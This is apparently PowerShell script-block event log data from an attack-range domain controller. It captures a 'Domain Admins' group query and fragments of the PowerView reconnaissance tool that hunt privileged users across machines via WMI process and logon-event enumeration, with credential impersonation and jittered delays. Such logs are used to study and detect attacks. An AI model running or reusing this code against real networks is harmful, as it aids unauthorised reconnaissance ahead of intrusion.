4104152150x0189109Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11Get-DomainGroupMember "Domain Admins"abc11e5f-433c-4a80-9921-ab4004f15c38 4104132150x0188648Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local3743Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential $Result if ($Result -and $StopOnSuccess) { Write-Verbose "[Find-DomainProcess] Target user found, returning early" return } } } else { Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'ProcessName' = $TargetProcessName 'TargetUsers' = $TargetUsers 'Credential' = $Credential } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } } function Find-DomainUserEvent { <# .SYNOPSIS Finds logon events on the current (or remote domain) for the specified users. Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction .DESCRIPTION Enumerates all domain controllers from the specified -Domain (default of the local domain) using Get-DomainController, enumerates the logon events for each using Get-DomainUserEvent, and filters the results based on the targeting criteria. .PARAMETER ComputerName Specifies an explicit computer name to retrieve events from. .PARAMETER Domain Specifies a domain to query for domain controllers to enumerate. Defaults to the current domain. .PARAMETER Filter A hashtable of PowerView.LogonEvent properties to filter for. The 'op|operator|operation' clause can have '&', '|', 'and', or 'or', and is 'or' by default, meaning at least one clause matches instead of all. See the exaples for usage. .PARAMETER StartTime The [DateTime] object representing the start of when to collect events. Default of [DateTime]::Now.AddDays(-1). .PARAMETER EndTime The [DateTime] object representing the end of when to collect events. Default of [DateTime]::Now. .PARAMETER MaxEvents The maximum number of events (per host) to retrieve. Default of 5000. .PARAMETER UserIdentity Specifies one or more user identities to search for. .PARAMETER UserDomain Specifies the domain to query for users to search for, defaults to the current domain. .PARAMETER UserLDAPFilter Specifies an LDAP query string that is used to search for target users. .PARAMETER UserSearchBase Specifies the LDAP source to search through for target users. e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER UserGroupIdentity Specifies a group identity to query for target users, defaults to 'Domain Admins. If any other user specifications are set, then UserGroupIdentity is ignored. .PARAMETER UserAdminCount Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target computer(s). .PARAMETER StopOnSuccess Switch. Stop hunting after finding after finding a target user. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainUserEvent Search for any user events matching domain admins on every DC in the current domain. .EXAMPLE $cred = Get-Credential dev\administrator Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john' Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local' domain controller using the alternate credential .EXAMPLE 'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'} Find user events on the primary.testlab.local system where the event matches the IPAddress '192.168.52.200' or '192.168.52.201'. .EXAMPLE $cred = Get-Credential testlab\administrator Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'} Find user events mathing the specified GUID AND the specified TargetLogonId, searching through every domain controller in the current domain, enumerating each DC in serial instead of in a threaded manner, using the alternate credential. .OUTPUTS PowerView.LogonEvent PowerView.ExplicitCredentialLogon .LINK http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] [OutputType('PowerView.LogonEvent')] [OutputType('PowerView.ExplicitCredentialLogon')] [CmdletBinding(DefaultParameterSetName = 'Domain')] Param( [Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('dnshostname', 'HostName', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName, [Parameter(ParameterSetName = 'Domain')] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Hashtable] $Filter, [Parameter(ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [DateTime] $StartTime = [DateTime]::Now.AddDays(-1), [Parameter(ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [DateTime] $EndTime = [DateTime]::Now, [ValidateRange(1, 1000000)] [Int] $MaxEvents = 5000, [ValidateNotNullOrEmpty()] [String[]] $UserIdentity, [ValidateNotNullOrEmpty()] [String] $UserDomain, [ValidateNotNullOrEmpty()] [String] $UserLDAPFilter, [ValidateNotNullOrEmpty()] [String] $UserSearchBase, [ValidateNotNullOrEmpty()] [Alias('GroupName', 'Group')] [String[]] $UserGroupIdentity = 'Domain Admins', [Alias('AdminCount')] [Switch] $UserAdminCount, [Switch] $CheckAccess, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $StopOnSuccess, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $UserSearcherArguments = @{ 'Properties' = 'samaccountname' } if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) { $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname } elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) { # otherwise we're querying a specific group $GroupSearcherArguments = @{ 'Identity' = $UserGroupIdentity 'Recurse' = $True } Write-Verbose "UserGroupIdentity: $UserGroupIdentity" if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName } # build the set of computers to enumerate if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { # if not -ComputerName is passed, query the current (or target) domain for domain controllers $DCSearcherArguments = @{ 'LDAP' = $True } if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain" $TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname } if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) { $TargetComputers = @(,$TargetComputers) } Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)" Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainUserEvent] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential) ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { $DomainUserEventArgs = @{ 'ComputerName' = $TargetComputer } if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime } if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime } if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents } if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential } if ($Filter -or $TargetUsers) { if ($TargetUsers) { Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName} } else { $Operator = 'or' $Filter.Keys | ForEach-Object { if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) { if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) { $Operator = 'and' } } } $Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')} Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object { if ($Operator -eq 'or') { ForEach ($Key in $Keys) { if ($_."$Key" -match $Filter[$Key]) { $_ } } } else { # and all clauses ForEach ($Key in $Keys) { if ($_."$Key" -notmatch $Filter[$Key]) { break } $_ } } } } } else { Get-DomainUserEvent @DomainUserEventArgs } } } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential $Result if ($Result -and $StopOnSuccess) { Write-Verbose "[Find-DomainUserEvent] Target user found, returning early" return } } } else { Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'StartTime' = $StartTime 'EndTime' = $EndTime 'MaxEvents' = $MaxEvents 'TargetUsers' = $TargetUsers 'Filter' = $Filter 'Credential' = $Credential } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } } function Find-DomainShare { <# .SYNOPSIS Searches for computer shared0a355c-6a4e-4652-8263-08393a47c23dC:\Users\Administrator\Documents\WindowsPowerShell\Modules\Recon\PowerView.ps1 4104132150x0188647Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local3643r Noteproperty 'LocalAdmin' $Admin.IsAdmin } else { $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null } $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') $UserLocation } } } } } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken if ($Result -and $StopOnSuccess) { Write-Verbose "[Find-DomainUserLocation] Target user found, returning early" return } } } else { Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads" Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'TargetUsers' = $TargetUsers 'CurrentUser' = $CurrentUser 'Stealth' = $Stealth 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Find-DomainProcess { <# .SYNOPSIS Searches for processes on the domain using WMI, returning processes that match a particular user specification or process name. Thanks to @paulbrandau for the approach idea. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and queries the domain for users of a specified group (default 'Domain Admins') with Get-DomainGroupMember. Then for each server the function enumerates any current processes running with Get-WMIProcess, searching for processes running under any target user contexts or with the specified -ProcessName. If -Credential is passed, it is passed through to the underlying WMI commands used to enumerate the remote machines. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER Domain Specifies the domain to query for computers AND users, defaults to the current domain. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerUnconstrained Switch. Search computer objects that have unconstrained delegation. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER ProcessName Search for processes with one or more specific names. .PARAMETER UserIdentity Specifies one or more user identities to search for. .PARAMETER UserDomain Specifies the domain to query for users to search for, defaults to the current domain. .PARAMETER UserLDAPFilter Specifies an LDAP query string that is used to search for target users. .PARAMETER UserSearchBase Specifies the LDAP source to search through for target users. e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER UserGroupIdentity Specifies a group identity to query for target users, defaults to 'Domain Admins. If any other user specifications are set, then UserGroupIdentity is ignored. .PARAMETER UserAdminCount Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER StopOnSuccess Switch. Stop hunting after finding after finding a target user. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainProcess Searches for processes run by 'Domain Admins' by enumerating every computer in the domain. .EXAMPLE Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by privileged users in dev.testlab.local. .EXAMPLE Find-DomainProcess -ProcessName putty.exe Searchings for instances of putty.exe running on the current domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-DomainProcess -Domain testlab.local -Credential $Cred Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials. .OUTPUTS PowerView.UserProcess #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] [OutputType('PowerView.UserProcess')] [CmdletBinding(DefaultParameterSetName = 'None')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [Alias('Unconstrained')] [Switch] $ComputerUnconstrained, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Parameter(ParameterSetName = 'TargetProcess')] [ValidateNotNullOrEmpty()] [String[]] $ProcessName, [Parameter(ParameterSetName = 'TargetUser')] [Parameter(ParameterSetName = 'UserIdentity')] [ValidateNotNullOrEmpty()] [String[]] $UserIdentity, [Parameter(ParameterSetName = 'TargetUser')] [ValidateNotNullOrEmpty()] [String] $UserDomain, [Parameter(ParameterSetName = 'TargetUser')] [ValidateNotNullOrEmpty()] [String] $UserLDAPFilter, [Parameter(ParameterSetName = 'TargetUser')] [ValidateNotNullOrEmpty()] [String] $UserSearchBase, [ValidateNotNullOrEmpty()] [Alias('GroupName', 'Group')] [String[]] $UserGroupIdentity = 'Domain Admins', [Parameter(ParameterSetName = 'TargetUser')] [Alias('AdminCount')] [Switch] $UserAdminCount, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $StopOnSuccess, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } $UserSearcherArguments = @{ 'Properties' = 'samaccountname' } if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } # first, build the set of computers to enumerate if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-DomainProcess] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainProcess] No hosts found to enumerate' } # now build the user target set if ($PSBoundParameters['ProcessName']) { $TargetProcessName = @() ForEach ($T in $ProcessName) { $TargetProcessName += $T.Split(',') } if ($TargetProcessName -isnot [System.Array]) { $TargetProcessName = [String[]] @($TargetProcessName) } } elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname } else { $GroupSearcherArguments = @{ 'Identity' = $UserGroupIdentity 'Recurse' = $True } if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } $GroupSearcherArguments $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $ProcessName, $TargetUsers, $Credential) ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { # try to enumerate all active processes on the remote host # and search for a specific process name if ($Credential) { $Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue } else { $Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue } ForEach ($Process in $Processes) { # if we're hunting for a process name or comma-separated names if ($ProcessName) { if ($ProcessName -Contains $Process.ProcessName) { $Process } } # if the session user is in the target list, display some output elseif ($TargetUsers -Contains $Process.User) { $Process } } } } } } PROCESS { # only ignore threading if -ed0a355c-6a4e-4652-8263-08393a47c23dC:\Users\Administrator\Documents\WindowsPowerShell\Modules\Recon\PowerView.ps1 4104132150x0188646Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local3543 .PARAMETER StealthSource The source of target servers to use, 'DFS' (distributed file servers), 'DC' (domain controllers), 'File' (file servers), or 'All' (the default). .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainUserLocation Searches for 'Domain Admins' by enumerating every computer in the domain. .EXAMPLE Find-DomainUserLocation -Stealth -ShowAll Enumerates likely highly-trafficked servers, performs just session enumeration against each, and outputs all results. .EXAMPLE Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged users in dev.testlab.local. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-DomainUserLocation -Domain testlab.local -Credential $Cred Searches for domain admin locations in the testlab.local using the specified alternate credentials. .OUTPUTS PowerView.UserLocation #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.UserLocation')] [CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [Alias('Unconstrained')] [Switch] $ComputerUnconstrained, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Parameter(ParameterSetName = 'UserIdentity')] [ValidateNotNullOrEmpty()] [String[]] $UserIdentity, [ValidateNotNullOrEmpty()] [String] $UserDomain, [ValidateNotNullOrEmpty()] [String] $UserLDAPFilter, [ValidateNotNullOrEmpty()] [String] $UserSearchBase, [Parameter(ParameterSetName = 'UserGroupIdentity')] [ValidateNotNullOrEmpty()] [Alias('GroupName', 'Group')] [String[]] $UserGroupIdentity = 'Domain Admins', [Alias('AdminCount')] [Switch] 